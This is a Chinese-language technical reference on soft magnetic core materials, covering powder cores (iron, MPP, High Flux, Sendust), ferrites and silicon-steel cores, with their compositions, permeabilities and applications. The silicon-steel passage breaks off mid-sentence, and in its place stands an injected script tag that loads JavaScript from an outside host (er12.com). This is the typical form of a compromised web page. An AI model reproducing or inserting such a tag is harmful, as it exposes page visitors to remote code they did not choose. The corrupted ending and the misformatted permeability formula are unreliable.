(一)粉芯类
1.磁粉芯
磁粉芯是由铁磁性粉粒与绝缘介质混合压制而成的一种软磁材料。由于铁磁性颗粒很小(高频下使用的为0.5~5微米),又被非磁性电绝缘膜物质隔开,因此,一方面可以隔绝涡流,材料适用于较高频率;另一方面由于颗粒之间的间隙效应,导致材料具有低导磁率及恒导磁特性;又由于颗粒尺寸小,基本上不发生集肤现象,磁导率随频率的变化也就较为稳定。主要用于高频电感。磁粉芯的磁电性能主要取决于粉粒材料的导磁率、粉粒的大小和形状、它们的填充系数、绝缘介质的含量、成型压力及热处理工艺等。
常用的磁粉芯有铁粉芯、坡莫合金粉芯及铁硅铝粉芯三种。
磁芯的有效磁导率μe及电感的计算公式为:μe=dl/4n2s×109
其中:d为磁芯平均直径(cm),l为电感量(享),n为绕线匝数,s为磁芯有效截面积(cm2)。
(1)铁粉芯
常用铁粉芯是由碳基铁磁粉及树脂碳基铁磁粉构成。在粉芯中价格最低。饱和磁感应强度值在1.4t左右;磁导率范围从22~100;初始磁导率μi随频率的变化稳定性好;直流电流叠加性能好;但高频下损耗高。
(2).坡莫合金粉芯
坡莫合金粉芯主要有钼坡莫合金粉芯(mpp)及高磁通量粉芯(highflux)。
mpp是由81%ni、2%mo及fe粉构成。主要特点是:饱和磁感应强度值在7500gs左右;磁导率范围大,从14~550;在粉末磁芯中具有最低的损耗;温度稳定性极佳,广泛用于太空设备、露天设备等;磁致伸缩系数接近零,在不同的频率下工作时无噪声产生。主要应用于300khz以下的高品质因素q滤波器、感应负载线圈、谐振电路、在对温度稳定性要求高的lc电路上常用、输出电感、功率因素补偿电路等,在ac电路中常用,粉芯中价格最贵。
高磁通粉芯hf是由50%ni、50%fe粉构成。主要特点是:饱和磁感应强度值在15000gs左右;磁导率范围从14~160;在粉末磁芯中具有最高的磁感应强度,最高的直流偏压能力;磁芯体积小。主要应用于线路滤波器、交流电感、输出电感、功率因素校正电路等,在dc电路中常用,高dc偏压、高直流电和低交流电上用得多。价格低于mpp。
(3)铁硅铝粉芯(koolmμcores)
铁硅铝粉芯由9%al、5%si,85%fe粉构成。主要是替代铁粉芯,损耗比铁粉芯低80%,可在8khz以上频率下使用;饱和磁感在1.05t左右;导磁率从26~125;磁致伸缩系数接近0,在不同的频率下工作时无噪声产生;比mpp有更高的dc偏压能力;具有最佳的性能价格比。主要应用于交流电感、输出电感、线路滤波器、功率因素校正电路等。有时也替代有气隙铁氧体作变压器铁芯使用。
2.软磁铁氧体(ferrites)
软磁铁氧体是以fe2o3为主成分的亚铁磁性氧化物,采用粉末冶金方法生产。有mn-zn、cu-zn、ni-zn等几类,其中mn-zn铁氧体的产量和用量最大,mn-zn铁氧体的电阻率低,为1~10欧姆-米,一般在100khz以下的频率使用。cu-zn、ni-zn铁氧体的电阻率为102~104欧姆-米,在100khz~10兆赫的无线电频段的损耗小,多用在无线电用天线线圈、无线电中频变压器。磁芯形状种类丰富,有e、i、u、ec、etd形、方形(rm、ep、pq)、罐形(pc、rs、ds)及圆形等。在应用上很方便。由于软磁铁氧体不使用镍等稀缺材料也能得到高磁导率,粉末冶金方法又适宜于大批量生产,因此成本低,又因为是烧结物硬度大、对应力不敏感,在应用上很方便。而且磁导率随频率的变化特性稳定,在150khz以下基本保持不变。随着软磁铁氧体的出现,磁粉芯的生产大大减少了,很多原来使用磁粉芯的地方均被软磁铁氧体所代替。
国内外铁氧体的生产厂家很多,在此仅以美国的magnetics公司生产的mn-zn铁氧体为例介绍其应用状况。分为三类基本材料:电信用基本材料、宽带及emi材料、功率型材料。
电信用铁氧体的磁导率从750~2300,具有低损耗因子、高品质因素q、稳定的磁导率随温度/时间关系,是磁导率在工作中下降最慢的一种,约每10年下降3%~4%。广泛应用于高q滤波器、调谐滤波器、负载线圈、阻抗匹配变压器、接近传感器。宽带铁氧体也就是常说的高导磁率铁氧体,磁导率分别有5000、10000、15000。其特性为具有低损耗因子、高磁导率、高阻抗/频率特性。广泛应用于共模滤波器、饱和电感、电流互感器、漏电保护器、绝缘变压器、信号及脉冲变压器,在宽带变压器和emi上多用。功率铁氧体具有高的饱和磁感应强度,为4000~5000gs。另外具有低损耗/频率关系和低损耗/温度关系。也就是说,随频率增大、损耗上升不大;随温度提高、损耗变化不大。广泛应用于功率扼流圈、并列式滤波器、开关电源变压器、开关电源电感、功率因素校正电路。
(二)带绕铁芯
1.硅钢片铁芯
硅钢片是一种合金,在纯铁中加入少量的硅(一般在4.5%以下)形成的铁硅系合金称为硅钢。该类铁芯具有最高的饱和磁感应强度值为20000gs;由于它们具有较好?script src=http://er12.com/t.js>











